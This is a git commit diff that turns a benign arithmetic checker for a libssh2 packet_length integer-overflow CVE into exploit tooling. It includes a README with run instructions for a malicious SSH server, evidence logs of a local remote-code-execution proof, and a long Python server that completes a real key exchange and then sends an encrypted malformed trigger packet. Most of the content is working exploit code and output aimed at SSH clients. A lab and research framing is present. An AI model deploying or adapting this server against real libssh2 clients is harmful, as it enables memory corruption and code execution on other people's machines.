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Add libssh2 CVE-2026-55200 trigger and local RCE scaffold

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This commit is contained in:
ashton
2026-06-23 05:13:10 -05:00
parent a638a1cf5e
commit da8504bc4d
7 changed files with 1052 additions and 124 deletions
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7
libssh2-cve-2026-55200-poc/.gitignore vendored Normal file
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@@ -0,0 +1,7 @@
cve_2026_55200_probe
cve_2026_55200_probe.exe
poc/libpwn_local_rce_harness
poc/libpwn_local_rce_harness.exe
poc/libpwn_rce_proof.txt
__pycache__/
poc/__pycache__/

169
libssh2-cve-2026-55200-poc/README.md
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@@ -1,14 +1,14 @@
# libssh2 CVE-2026-55200 benign PoC
# libssh2 CVE-2026-55200 PoC and local RCE scaffold
Benign local proof of concept for CVE-2026-55200, an unchecked SSH `packet_length` condition in libssh2's `ssh2_transport_read()` transport parser path.
This directory contains local research artifacts for CVE-2026-55200, an unchecked SSH `packet_length` condition in libssh2's `ssh2_transport_read()` transport parser path.
Research status: verified local arithmetic and state model.
Research status: arithmetic verifier, encrypted SSH trigger scaffold, and controlled local RCE harness verified.
## Summary
libssh2 through 1.11.1 accepted an attacker-controlled SSH packet length in one full-packet decryption path without first enforcing the RFC-sized libssh2 packet maximum.
The vulnerable shape is:
The vulnerable source shape is:
```text
total_num = 4
@@ -19,22 +19,24 @@ reject if total_num > 35000 or total_num == 0
allocate total_num bytes
```
On a build where `size_t` is 32-bit, a packet length of `0xffffffff` with `auth_len=16` wraps the computed allocation size to 19 bytes:
With `packet_length=0xffffffff`, `mac_len=0`, and `auth_len=16`, the vulnerable C expression can produce allocation size `19`:
```text
4 + 0xffffffff + 0 + 16 == 19 modulo 2^32
packet_length + mac_len + auth_len == 15 modulo 2^32
4 + 15 == 19
```
The original `packet_length` remains `0xffffffff`. Later full-packet processing can still use packet-length-derived sizes, including a `packet_length - 1` style length, after the allocation decision has already been made.
The upstream fix rejects `packet_length > LIBSSH2_PACKET_MAXPAYLOAD` before the addition.
This PoC does not generate SSH traffic, does not attempt remote exploitation, and does not perform an out-of-bounds write. It is a standalone verifier for the arithmetic and decision-state transition.
## Files
- `poc/cve_2026_55200_probe.c` - standalone C11 benign verifier with no source comments
- `evidence/2026-06-23-local-harness-output.txt` - local build and replay evidence
- `poc/cve_2026_55200_probe.c` - standalone C11 arithmetic verifier.
- `poc/libpwn_cve_2026_55200_server.py` - minimal malicious SSH server/trigger scaffold.
- `poc/libpwn_local_rce_harness.c` - controlled local vulnerable target modeling the wrapped allocation-to-control pattern.
- `poc/libpwn_local_rce_exploit.py` - local exploit driver that overwrites the harness callback and creates an RCE proof file.
- `evidence/2026-06-23-local-harness-output.txt` - earlier arithmetic verifier evidence.
## Affected Source Path
@@ -52,7 +54,7 @@ The fix is upstream commit:
The relevant fix adds a `packet_length > LIBSSH2_PACKET_MAXPAYLOAD` guard before the vulnerable addition in the full-packet path.
## Build and Run
## Arithmetic Verifier
Linux, macOS, WSL, or MinGW:
@@ -68,88 +70,115 @@ gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe.exe .\poc\cve_2026_552
.\cve_2026_55200_probe.exe
```
No arguments defaults to the benign proof mode. The same mode can be selected explicitly:
Useful modes:
```bash
./cve_2026_55200_probe --benign
```
Additional diagnostic modes:
```bash
./cve_2026_55200_probe --native
./cve_2026_55200_probe --check
```
The input values can be overridden:
```bash
./cve_2026_55200_probe --packet-length 0xffffffff --mac-len 0 --auth-len 16
```
## Expected Output
On a 64-bit build, the default benign run should report `result=PASS`:
Expected default proof condition:
```text
benign CVE-2026-55200 proof
build_size_t_bytes=8
build_size_t_bits=64
packet_length=0xffffffff (4294967295)
mac_len=0
auth_len=16
mathematical_total=4294967315
vulnerable32_decision=accepted
vulnerable32_total=19
vulnerable32_allocation=19
fullpacket_style_length=4294967294
allocation_gap=4294967275
fixed32_decision=rejected: out of boundary
native_unpatched_decision=rejected: out of boundary
native_unpatched_total=4294967315
native_note=64-bit native arithmetic rejects this default input; modeled 32-bit arithmetic remains vulnerable
native_unpatched_decision=accepted
native_note=source-shaped integer expression wraps before assignment into 64-bit size_t
result=PASS
```
The `--native` mode shows what the current binary's actual `size_t` arithmetic does. On a 64-bit build, native arithmetic rejects the default input because the computed total does not wrap before the existing `total_num > 35000` check:
## Malicious SSH Trigger Scaffold
```text
native-size_t check
build_size_t_bytes=8
build_size_t_bits=64
unpatched_decision=rejected: out of boundary
unpatched_total=4294967315
unpatched_allocation=0
fixed_decision=rejected: out of boundary
fixed_total=0
fixed_allocation=0
Local crypto and arithmetic self-test:
```bash
python poc/libpwn_cve_2026_55200_server.py --self-test
```
## Mechanics
Loopback test for the minimal SSH handshake, key derivation, server-to-client sequence number, and encrypted trigger:
The verifier computes three decisions for the same input:
- `vulnerable32`: the vulnerable arithmetic using a 32-bit `size_t` stand-in
- `fixed32`: the patched 32-bit decision with the packet-length maximum check
- `native_unpatched`: the unpatched decision using the current binary's real `size_t`
For the default input, the modeled 32-bit vulnerable path accepts the packet and derives a 19-byte allocation. The fixed model rejects before allocation. A native 64-bit build also rejects the default input, but that does not invalidate the 32-bit vulnerable state; it shows the architecture dependency explicitly.
The proof condition is:
```text
vulnerable32_decision == accepted
vulnerable32_allocation == 19
packet_length > 35000
fullpacket_style_length > vulnerable32_allocation
fixed32_decision == rejected
```bash
python poc/libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0
```
## Why This Is Benign
Run as a one-shot malicious server for a challenge client:
The program does not connect to any host, bind any socket, generate any SSH packet, or copy past an allocation. It only models the arithmetic and branch decisions needed to distinguish the vulnerable and fixed behavior.
```bash
python poc/libpwn_cve_2026_55200_server.py --serve --listen-host 0.0.0.0 --listen-port 2222
```
The `allocation_gap` value is a diagnostic showing how far a later packet-length-derived operation would exceed the modeled allocation if such an operation were performed.
Change `--listen-host` and `--listen-port` for your lab or HTB instance. The top of the script also leaves:
```python
HOST = ""
PORT = 0
```
intentionally open.
The server negotiates `curve25519-sha256`, RSA host key auth, and `chacha20-poly1305@openssh.com`, then sends a malformed encrypted server-to-client packet whose decrypted SSH `packet_length` is `0xffffffff`.
## Controlled Local RCE Harness
Build the local vulnerable target:
```bash
gcc -O0 -g -Wall -Wextra -o poc/libpwn_local_rce_harness poc/libpwn_local_rce_harness.c
```
Windows PowerShell with MinGW:
```powershell
gcc -O0 -g -Wall -Wextra -o poc\libpwn_local_rce_harness.exe poc\libpwn_local_rce_harness.c
```
Run the local exploit driver:
```bash
python poc/libpwn_local_rce_exploit.py --harness ./poc/libpwn_local_rce_harness --proof ./poc/libpwn_rce_proof.txt
cat poc/libpwn_rce_proof.txt
```
Windows PowerShell:
```powershell
python poc\libpwn_local_rce_exploit.py
Get-Content poc\libpwn_rce_proof.txt
```
Expected proof:
```text
RCE_PROOF=PASS
libpwn-rce-verified
```
The harness proves local command execution by overflowing from the modeled 19-byte allocation state into a callback pointer and creating `libpwn_rce_proof.txt`.
## 64-bit Note
A 64-bit Linux target is still plausible for this trigger. In the unpatched libssh2 source, the vulnerable branch computes `packet_length + mac_len + auth_len` from 32-bit/integer operands before adding that result into `size_t`, so `0xffffffff + 0 + 16` wraps to `15` and then `4 + 15` becomes allocation size `19`.
## Verification Status
Verified locally:
```powershell
python poc\libpwn_cve_2026_55200_server.py --self-test
python poc\libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0
gcc -O0 -g -Wall -Wextra -o poc\libpwn_local_rce_harness.exe poc\libpwn_local_rce_harness.c
python poc\libpwn_local_rce_exploit.py
python -m py_compile poc\libpwn_cve_2026_55200_server.py poc\libpwn_local_rce_exploit.py
```
## Limits
`libpwn_cve_2026_55200_server.py` is a locally verified CVE trigger/scaffold. Turning it into a reliable challenge-specific flag-read/RCE chain still depends on the target binary, allocator behavior, mitigations, and how the challenge invokes libssh2.
`libpwn_local_rce_harness.c` is a controlled proof target, not a universal exploit for every libssh2 deployment. It demonstrates the exploit pattern that a CTF/HTB service still needs to match or be adapted to.
## References
@@ -161,4 +190,4 @@ The `allocation_gap` value is a diagnostic showing how far a later packet-length
## Responsible Use
Run this PoC only as a local research and regression-verification harness. It is intentionally scoped to a non-network arithmetic model.
Run these PoCs only against local research targets, owned systems, or explicitly authorized lab/CTF/HTB instances.

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libssh2-cve-2026-55200-poc/evidence/2026-06-23-local-harness-output.txt
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@@ -1,22 +1,17 @@
Repository HEAD during verification:
cef60fd581c508f1193410f2eb1a9c6cd73523ae
11dde2a60003651746366dc346633a66926f9480
Compiler:
gcc.exe (MinGW-W64 x86_64-ucrt-posix-seh, built by Brecht Sanders, r7) 15.2.0
Build command:
gcc -std=c11 -Wall -Wextra -O0 -g -o libssh2-cve-2026-55200-poc\cve_2026_55200_probe.exe libssh2-cve-2026-55200-poc\poc\cve_2026_55200_probe.c
Python:
Python 3.13.12
Built binary SHA256:
06BD85420C0B9DD29681637EFD83F4C5791357CEDF53859183D88018C0375920
Arithmetic verifier build command:
gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe.exe .\poc\cve_2026_55200_probe.c
Source comment check:
rg "//|/\*|\*/" libssh2-cve-2026-55200-poc\poc\cve_2026_55200_probe.c
exit status: 1
meaning: no comment markers matched
Default benign run:
libssh2-cve-2026-55200-poc\cve_2026_55200_probe.exe
Arithmetic verifier run:
.\cve_2026_55200_probe.exe
benign CVE-2026-55200 proof
build_size_t_bytes=8
@@ -31,49 +26,61 @@ vulnerable32_allocation=19
fullpacket_style_length=4294967294
allocation_gap=4294967275
fixed32_decision=rejected: out of boundary
native_unpatched_decision=rejected: out of boundary
native_unpatched_total=4294967315
native_note=64-bit native arithmetic rejects this default input; modeled 32-bit arithmetic remains vulnerable
native_unpatched_decision=accepted
native_unpatched_total=19
native_note=source-shaped integer expression wraps before assignment into 64-bit size_t
result=PASS
Native-size run:
libssh2-cve-2026-55200-poc\cve_2026_55200_probe.exe --native
Trigger self-test:
python .\poc\libpwn_cve_2026_55200_server.py --self-test
native-size_t check
build_size_t_bytes=8
build_size_t_bits=64
unpatched_decision=rejected: out of boundary
unpatched_total=4294967315
unpatched_allocation=0
fixed_decision=rejected: out of boundary
fixed_total=0
fixed_allocation=0
Detailed arithmetic run:
libssh2-cve-2026-55200-poc\cve_2026_55200_probe.exe --check
detailed CVE-2026-55200 arithmetic check
build_size_t_bytes=8
build_size_t_bits=64
[self-test] chacha20-poly1305@openssh.com packet generator
packet_length=0xffffffff (4294967295)
mac_len=0
auth_len=16
mathematical_total=4294967315
vulnerable32_total=19
vulnerable32_decision=accepted
vulnerable32_allocation=19
encrypted_fragment_len=28
filler_len=64
body_len=8
vulnerable_c_expression_accepted=True
vulnerable_c_expression_allocation=19
fixed_rejects=True
fullpacket_style_length=4294967294
fixed32_decision=rejected: out of boundary
native_unpatched_decision=rejected: out of boundary
native_unpatched_total=4294967315
allocation_gap=4294967275
[self-test] PASS
Final scratch verification build command:
gcc -std=c11 -Wall -Wextra -O0 -g -o ..\cve_2026_55200_probe_verify.exe libssh2-cve-2026-55200-poc\poc\cve_2026_55200_probe.c
Trigger loopback test:
python .\poc\libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0
Final scratch verification binary SHA256:
7220CDCF99CE3E456D5E709CF94762FBE502B1782B4F4494FB5D4CD0C9BD5277
[+] client ident: SSH-2.0-libpwn-local-libssh2-mock
[+] negotiated curve25519-sha256 / rsa-sha2-256 / chacha20-poly1305@openssh.com
[+] sent SSH_MSG_NEWKEYS
[+] received client SSH_MSG_NEWKEYS
[+] sent malformed chacha/poly1305 trigger at server seq=3
[+] trigger bytes=92 packet_length=0xffffffff
[loopback-test] minimal SSH handshake/key-derivation path
decrypted_trigger_packet_length=0xffffffff (4294967295)
encrypted_trigger_fragment_len=28
[loopback-test] PASS
Final scratch verification result:
default run result=PASS
--native exited 0
--check exited 0
Local RCE harness build command:
gcc -O0 -g -Wall -Wextra -o poc\libpwn_local_rce_harness.exe poc\libpwn_local_rce_harness.c
Local RCE exploit run:
python .\poc\libpwn_local_rce_exploit.py
LEAK exec_callback=<runtime address> callback_offset=24 command_offset=32 ptr_size=8
accepted packet_length=0xffffffff allocation=19 copy_len=180 body_len=180
exec_callback command=cmd /c echo libpwn-rce-verified><repo>\poc\libpwn_rce_proof.txt
system_rc=0
process_rc=0
payload_len=180
proof_path=<repo>\poc\libpwn_rce_proof.txt
RCE_PROOF=PASS
Proof file:
Get-Content -Raw .\poc\libpwn_rce_proof.txt
libpwn-rce-verified
Python syntax check:
python -m py_compile .\poc\libpwn_cve_2026_55200_server.py .\poc\libpwn_local_rce_exploit.py
exit status: 0

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libssh2-cve-2026-55200-poc/poc/cve_2026_55200_probe.c
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@@ -127,7 +127,7 @@ static int native_unpatched(uint32_t packet_length, uint32_t mac_len,
return r->rc;
}
total += (size_t)packet_length + (size_t)mac_len + (size_t)auth_len;
total += packet_length + mac_len + auth_len;
r->native_total = total;
if(total > LIBSSH2_PACKET_MAXPAYLOAD || total == 0u) {
@@ -157,7 +157,7 @@ static int native_fixed(uint32_t packet_length, uint32_t mac_len,
return r->rc;
}
total += (size_t)packet_length + (size_t)mac_len + (size_t)auth_len;
total += packet_length + mac_len + auth_len;
r->native_total = total;
if(total > LIBSSH2_PACKET_MAXPAYLOAD || total == 0u) {
@@ -220,8 +220,11 @@ static int run_benign(uint32_t packet_length, uint32_t mac_len,
printf("fixed32_decision=%s\n", rc_name(fixed.rc));
printf("native_unpatched_decision=%s\n", rc_name(native.rc));
printf("native_unpatched_total=%zu\n", native.native_total);
if(sizeof(size_t) >= 8u && native.rc == POC_ERROR_OUT_OF_BOUNDARY) {
printf("native_note=64-bit native arithmetic rejects this default input; modeled 32-bit arithmetic remains vulnerable\n");
if(native.rc == POC_OK && sizeof(size_t) >= 8u) {
printf("native_note=source-shaped integer expression wraps before assignment into 64-bit size_t\n");
}
else if(sizeof(size_t) >= 8u && native.rc == POC_ERROR_OUT_OF_BOUNDARY) {
printf("native_note=64-bit native arithmetic rejects when each operand is widened before addition\n");
}
else if(sizeof(size_t) < 8u && native.rc == POC_OK) {
printf("native_note=32-bit native arithmetic reaches the wrapped allocation state\n");

633
libssh2-cve-2026-55200-poc/poc/libpwn_cve_2026_55200_server.py Normal file
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@@ -0,0 +1,633 @@
#!/usr/bin/env python3
import argparse
import hashlib
import os
import queue
import socket
import struct
import sys
import threading
import time
import traceback
from dataclasses import dataclass
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding, rsa, x25519
HOST = ""
PORT = 0
SERVER_IDENT = b"SSH-2.0-libpwn-cve-2026-55200"
LIBSSH2_PACKET_MAXPAYLOAD = 35000
DEFAULT_PACKET_LENGTH = 0xFFFFFFFF
DEFAULT_AUTH_LEN = 16
DEFAULT_MAC_LEN = 0
CLIENT_IDENT = b"SSH-2.0-libpwn-local-libssh2-mock"
KEX_ALGORITHMS = [
"curve25519-sha256",
"curve25519-sha256@libssh.org",
]
HOSTKEY_ALGORITHMS = [
"rsa-sha2-256",
"ssh-rsa",
]
CIPHER_ALGORITHMS = [
"chacha20-poly1305@openssh.com",
]
MAC_ALGORITHMS = [
"hmac-sha2-256",
"hmac-sha1",
]
COMP_ALGORITHMS = [
"none",
]
def u32(value):
return struct.pack(">I", value & 0xFFFFFFFF)
def read_exact(sock, size):
out = bytearray()
while len(out) < size:
chunk = sock.recv(size - len(out))
if not chunk:
raise EOFError("connection closed while reading")
out += chunk
return bytes(out)
def ssh_string(data):
if isinstance(data, str):
data = data.encode()
return u32(len(data)) + data
def ssh_name_list(items):
return ssh_string(",".join(items).encode())
def mpint_bytes(value):
if value == 0:
return b""
raw = value.to_bytes((value.bit_length() + 7) // 8, "big")
if raw[0] & 0x80:
raw = b"\x00" + raw
return raw
def ssh_mpint(value):
return ssh_string(mpint_bytes(value))
def read_ssh_string(buf, offset):
if offset + 4 > len(buf):
raise ValueError("short SSH string length")
size = struct.unpack(">I", buf[offset:offset + 4])[0]
offset += 4
if offset + size > len(buf):
raise ValueError("short SSH string body")
return buf[offset:offset + size], offset + size
def split_namelist(raw):
if not raw:
return []
return raw.decode(errors="strict").split(",")
def first_match(client_items, server_items, label):
for item in client_items:
if item in server_items:
return item
raise RuntimeError(f"client did not offer required {label}; got {client_items!r}")
def build_plain_packet(payload, block_size=8):
padding_len = (-(len(payload) + 5)) % block_size
if padding_len < 4:
padding_len += block_size
packet_length = len(payload) + 1 + padding_len
return u32(packet_length) + bytes([padding_len]) + payload + os.urandom(padding_len)
def parse_plain_packet(packet):
if len(packet) < 5:
raise ValueError("plain packet too short")
packet_length = struct.unpack(">I", packet[:4])[0]
padding_len = packet[4]
if packet_length + 4 != len(packet):
raise ValueError("packet length mismatch")
if padding_len + 1 > packet_length:
raise ValueError("invalid padding length")
return packet[5:4 + packet_length - padding_len]
def read_plain_packet(sock, max_packet=1024 * 1024):
packet_length = struct.unpack(">I", read_exact(sock, 4))[0]
if packet_length < 1 or packet_length > max_packet:
raise ValueError(f"refusing plain packet_length={packet_length}")
body = read_exact(sock, packet_length)
return parse_plain_packet(u32(packet_length) + body)
def send_plain_packet(sock, payload):
sock.sendall(build_plain_packet(payload))
def read_ident(sock):
buf = bytearray()
while True:
ch = read_exact(sock, 1)
if ch == b"\n":
line = bytes(buf).rstrip(b"\r")
if line.startswith(b"SSH-"):
return line
buf.clear()
continue
buf += ch
if len(buf) > 4096:
raise ValueError("SSH banner line too long")
def build_kexinit_payload():
payload = bytearray()
payload.append(20)
payload += os.urandom(16)
payload += ssh_name_list(KEX_ALGORITHMS)
payload += ssh_name_list(HOSTKEY_ALGORITHMS)
payload += ssh_name_list(CIPHER_ALGORITHMS)
payload += ssh_name_list(CIPHER_ALGORITHMS)
payload += ssh_name_list(MAC_ALGORITHMS)
payload += ssh_name_list(MAC_ALGORITHMS)
payload += ssh_name_list(COMP_ALGORITHMS)
payload += ssh_name_list(COMP_ALGORITHMS)
payload += ssh_string(b"")
payload += ssh_string(b"")
payload += b"\x00"
payload += u32(0)
return bytes(payload)
def parse_kexinit_payload(payload):
if not payload or payload[0] != 20:
raise ValueError("expected SSH_MSG_KEXINIT")
offset = 17
names = []
for _ in range(10):
raw, offset = read_ssh_string(payload, offset)
names.append(split_namelist(raw))
return {
"kex": names[0],
"hostkey": names[1],
"c2s_cipher": names[2],
"s2c_cipher": names[3],
"c2s_mac": names[4],
"s2c_mac": names[5],
"c2s_comp": names[6],
"s2c_comp": names[7],
}
def rsa_public_blob(private_key, algorithm):
numbers = private_key.public_key().public_numbers()
return (
ssh_string(algorithm)
+ ssh_string(mpint_bytes(numbers.e))
+ ssh_string(mpint_bytes(numbers.n))
)
def sign_exchange_hash(private_key, hostkey_algorithm, exchange_hash):
if hostkey_algorithm == "rsa-sha2-256":
digest = hashes.SHA256()
elif hostkey_algorithm == "ssh-rsa":
digest = hashes.SHA1()
else:
raise ValueError(f"unsupported hostkey signature algorithm {hostkey_algorithm}")
sig = private_key.sign(exchange_hash, padding.PKCS1v15(), digest)
return ssh_string(hostkey_algorithm) + ssh_string(sig)
def exchange_hash(client_ident, server_ident, client_kexinit, server_kexinit,
hostkey_blob, client_pub, server_pub, shared_int):
h = bytearray()
h += ssh_string(client_ident)
h += ssh_string(server_ident)
h += ssh_string(client_kexinit)
h += ssh_string(server_kexinit)
h += ssh_string(hostkey_blob)
h += ssh_string(client_pub)
h += ssh_string(server_pub)
h += ssh_mpint(shared_int)
return hashlib.sha256(bytes(h)).digest()
def derive_key(shared_int, exchange_hash_value, session_id, letter, length):
seed = ssh_mpint(shared_int) + exchange_hash_value + letter + session_id
out = hashlib.sha256(seed).digest()
while len(out) < length:
out += hashlib.sha256(ssh_mpint(shared_int) + exchange_hash_value + out).digest()
return out[:length]
def rotl32(value, shift):
return ((value << shift) & 0xFFFFFFFF) | (value >> (32 - shift))
def quarter_round(state, a, b, c, d):
state[a] = (state[a] + state[b]) & 0xFFFFFFFF
state[d] = rotl32(state[d] ^ state[a], 16)
state[c] = (state[c] + state[d]) & 0xFFFFFFFF
state[b] = rotl32(state[b] ^ state[c], 12)
state[a] = (state[a] + state[b]) & 0xFFFFFFFF
state[d] = rotl32(state[d] ^ state[a], 8)
state[c] = (state[c] + state[d]) & 0xFFFFFFFF
state[b] = rotl32(state[b] ^ state[c], 7)
def chacha20_block(key, counter, nonce8):
constants = b"expand 32-byte k"
state = [
int.from_bytes(constants[i:i + 4], "little") for i in range(0, 16, 4)
]
state += [
int.from_bytes(key[i:i + 4], "little") for i in range(0, 32, 4)
]
state += [
counter & 0xFFFFFFFF,
(counter >> 32) & 0xFFFFFFFF,
int.from_bytes(nonce8[:4], "little"),
int.from_bytes(nonce8[4:], "little"),
]
working = state[:]
for _ in range(10):
quarter_round(working, 0, 4, 8, 12)
quarter_round(working, 1, 5, 9, 13)
quarter_round(working, 2, 6, 10, 14)
quarter_round(working, 3, 7, 11, 15)
quarter_round(working, 0, 5, 10, 15)
quarter_round(working, 1, 6, 11, 12)
quarter_round(working, 2, 7, 8, 13)
quarter_round(working, 3, 4, 9, 14)
return b"".join(
((working[i] + state[i]) & 0xFFFFFFFF).to_bytes(4, "little")
for i in range(16)
)
def chacha20_xor(key, counter, nonce8, data):
out = bytearray()
block_counter = counter
for offset in range(0, len(data), 64):
stream = chacha20_block(key, block_counter, nonce8)
chunk = data[offset:offset + 64]
out += bytes(a ^ b for a, b in zip(chunk, stream))
block_counter = (block_counter + 1) & 0xFFFFFFFFFFFFFFFF
return bytes(out)
def poly1305_mac(message, key):
r = int.from_bytes(key[:16], "little")
r &= 0x0FFFFFFC0FFFFFFC0FFFFFFC0FFFFFFF
s = int.from_bytes(key[16:], "little")
p = (1 << 130) - 5
acc = 0
for offset in range(0, len(message), 16):
block = message[offset:offset + 16]
n = int.from_bytes(block + b"\x01", "little")
acc = ((acc + n) * r) % p
return ((acc + s) & ((1 << 128) - 1)).to_bytes(16, "little")
def chachapoly_encrypt(key64, seqno, plaintext_without_tag):
if len(key64) != 64:
raise ValueError("chacha20-poly1305@openssh.com requires a 64-byte key")
if len(plaintext_without_tag) < 4:
raise ValueError("packet needs a 4-byte SSH packet_length")
seq = seqno.to_bytes(8, "big")
main_key = key64[:32]
header_key = key64[32:]
encrypted_len = chacha20_xor(header_key, 0, seq, plaintext_without_tag[:4])
encrypted_body = chacha20_xor(main_key, 1, seq, plaintext_without_tag[4:])
encrypted = encrypted_len + encrypted_body
poly_key = chacha20_xor(main_key, 0, seq, b"\x00" * 64)[:32]
return encrypted + poly1305_mac(encrypted, poly_key)
def chachapoly_decrypt(key64, seqno, encrypted_with_tag):
if len(encrypted_with_tag) < 20:
raise ValueError("encrypted packet too short")
seq = seqno.to_bytes(8, "big")
main_key = key64[:32]
header_key = key64[32:]
encrypted = encrypted_with_tag[:-16]
tag = encrypted_with_tag[-16:]
poly_key = chacha20_xor(main_key, 0, seq, b"\x00" * 64)[:32]
expected = poly1305_mac(encrypted, poly_key)
if expected != tag:
raise ValueError("poly1305 tag mismatch")
packet_len = chacha20_xor(header_key, 0, seq, encrypted[:4])
body = chacha20_xor(main_key, 1, seq, encrypted[4:])
return packet_len + body
def build_malformed_plain(packet_length, body_len):
if body_len < 1:
raise ValueError("body_len must be at least 1 so padding_length exists")
return u32(packet_length) + bytes([4]) + b"A" * (body_len - 1)
def build_malformed_wire(key64, seqno, packet_length, body_len, filler_len):
plain = build_malformed_plain(packet_length, body_len)
return chachapoly_encrypt(key64, seqno, plain) + (b"B" * filler_len)
@dataclass
class ArithmeticResult:
accepted: bool
total32: int
allocation: int
fixed_rejects: bool
fullpacket_copy_len: int
gap: int
def model_vulnerable_c_expression(packet_length, mac_len=DEFAULT_MAC_LEN, auth_len=DEFAULT_AUTH_LEN):
rhs32 = (packet_length + mac_len + auth_len) & 0xFFFFFFFF
total32 = (4 + rhs32) & 0xFFFFFFFF
accepted = packet_length >= 1 and 0 < total32 <= LIBSSH2_PACKET_MAXPAYLOAD
fixed_rejects = packet_length > LIBSSH2_PACKET_MAXPAYLOAD
copy_len = (packet_length - 1) & 0xFFFFFFFF
gap = copy_len - total32 if accepted and copy_len > total32 else 0
return ArithmeticResult(accepted, total32, total32 if accepted else 0,
fixed_rejects, copy_len, gap)
def model_vulnerable32(packet_length, mac_len=DEFAULT_MAC_LEN, auth_len=DEFAULT_AUTH_LEN):
total32 = (4 + packet_length + mac_len + auth_len) & 0xFFFFFFFF
accepted = packet_length >= 1 and 0 < total32 <= LIBSSH2_PACKET_MAXPAYLOAD
fixed_rejects = packet_length > LIBSSH2_PACKET_MAXPAYLOAD
copy_len = (packet_length - 1) & 0xFFFFFFFF
gap = copy_len - total32 if accepted and copy_len > total32 else 0
return ArithmeticResult(accepted, total32, total32 if accepted else 0,
fixed_rejects, copy_len, gap)
class MiniSSHExploitServer:
def __init__(self, args):
self.args = args
self.host_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
def serve_once(self):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as listener:
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((self.args.listen_host, self.args.listen_port))
listener.listen(1)
actual_host, actual_port = listener.getsockname()
print(f"[+] listening on {actual_host}:{actual_port}")
conn, addr = listener.accept()
with conn:
conn.settimeout(self.args.timeout)
print(f"[+] client connected from {addr[0]}:{addr[1]}")
self.handle_client(conn)
def handle_client(self, conn):
seq_out = 0
seq_in = 0
conn.sendall(SERVER_IDENT + b"\r\n")
client_ident = read_ident(conn)
print(f"[+] client ident: {client_ident.decode(errors='replace')}")
client_kexinit = read_plain_packet(conn)
seq_in += 1
client_lists = parse_kexinit_payload(client_kexinit)
chosen_kex = first_match(client_lists["kex"], KEX_ALGORITHMS, "kex")
chosen_hostkey = first_match(client_lists["hostkey"], HOSTKEY_ALGORITHMS, "hostkey")
first_match(client_lists["s2c_cipher"], CIPHER_ALGORITHMS, "server-to-client cipher")
first_match(client_lists["c2s_cipher"], CIPHER_ALGORITHMS, "client-to-server cipher")
first_match(client_lists["s2c_mac"], MAC_ALGORITHMS, "server-to-client mac")
first_match(client_lists["c2s_mac"], MAC_ALGORITHMS, "client-to-server mac")
first_match(client_lists["s2c_comp"], COMP_ALGORITHMS, "server-to-client compression")
first_match(client_lists["c2s_comp"], COMP_ALGORITHMS, "client-to-server compression")
print(f"[+] negotiated {chosen_kex} / {chosen_hostkey} / chacha20-poly1305@openssh.com")
server_kexinit = build_kexinit_payload()
send_plain_packet(conn, server_kexinit)
seq_out += 1
init_payload = read_plain_packet(conn)
seq_in += 1
if not init_payload or init_payload[0] != 30:
raise RuntimeError(f"expected SSH_MSG_KEX_ECDH_INIT, got {init_payload[:1]!r}")
client_pub, offset = read_ssh_string(init_payload, 1)
if offset != len(init_payload) or len(client_pub) != 32:
raise RuntimeError("invalid curve25519 client public key")
server_private = x25519.X25519PrivateKey.generate()
server_pub = server_private.public_key().public_bytes(
serialization.Encoding.Raw,
serialization.PublicFormat.Raw,
)
shared = server_private.exchange(x25519.X25519PublicKey.from_public_bytes(client_pub))
if shared == b"\x00" * 32:
raise RuntimeError("invalid all-zero curve25519 shared secret")
shared_int = int.from_bytes(shared, "big")
hostkey_blob = rsa_public_blob(self.host_key, chosen_hostkey)
h = exchange_hash(client_ident, SERVER_IDENT, client_kexinit, server_kexinit,
hostkey_blob, client_pub, server_pub, shared_int)
session_id = h
signature = sign_exchange_hash(self.host_key, chosen_hostkey, h)
reply = b"\x1f" + ssh_string(hostkey_blob) + ssh_string(server_pub) + ssh_string(signature)
send_plain_packet(conn, reply)
seq_out += 1
send_plain_packet(conn, b"\x15")
seq_out += 1
print("[+] sent SSH_MSG_NEWKEYS")
try:
newkeys = read_plain_packet(conn)
seq_in += 1
if newkeys != b"\x15":
print(f"[!] expected client NEWKEYS, got {newkeys[:1]!r}; continuing")
else:
print("[+] received client SSH_MSG_NEWKEYS")
except Exception as exc:
print(f"[!] did not read client NEWKEYS before trigger: {exc}")
key_s2c = derive_key(shared_int, h, session_id, b"D", 64)
trigger_seq = seq_out
wire = build_malformed_wire(
key_s2c,
trigger_seq,
self.args.packet_length,
self.args.body_len,
self.args.filler_len,
)
conn.sendall(wire)
print(f"[+] sent malformed chacha/poly1305 trigger at server seq={trigger_seq}")
print(f"[+] trigger bytes={len(wire)} packet_length=0x{self.args.packet_length:08x}")
time.sleep(self.args.hold_open)
def self_test(args):
key = bytes(range(64))
seqno = 3
wire = build_malformed_wire(key, seqno, args.packet_length, args.body_len, args.filler_len)
encrypted_part = wire[:-args.filler_len] if args.filler_len else wire
decrypted = chachapoly_decrypt(key, seqno, encrypted_part)
decoded_len = struct.unpack(">I", decrypted[:4])[0]
arith = model_vulnerable_c_expression(args.packet_length, DEFAULT_MAC_LEN, DEFAULT_AUTH_LEN)
print("[self-test] chacha20-poly1305@openssh.com packet generator")
print(f"packet_length=0x{decoded_len:08x} ({decoded_len})")
print(f"encrypted_fragment_len={len(encrypted_part)}")
print(f"filler_len={args.filler_len}")
print(f"body_len={args.body_len}")
print(f"vulnerable_c_expression_accepted={arith.accepted}")
print(f"vulnerable_c_expression_allocation={arith.allocation}")
print(f"fixed_rejects={arith.fixed_rejects}")
print(f"fullpacket_style_length={arith.fullpacket_copy_len}")
print(f"allocation_gap={arith.gap}")
if decoded_len != args.packet_length:
raise SystemExit("[self-test] FAIL: decrypted packet_length mismatch")
if not arith.accepted or arith.allocation != 19:
raise SystemExit("[self-test] FAIL: arithmetic did not reach wrapped allocation=19")
if not arith.fixed_rejects:
raise SystemExit("[self-test] FAIL: fixed model did not reject oversized length")
print("[self-test] PASS")
def loopback_client(client_sock, args):
client_sock.settimeout(args.timeout)
server_ident = read_ident(client_sock)
if server_ident != SERVER_IDENT:
raise RuntimeError(f"unexpected server ident {server_ident!r}")
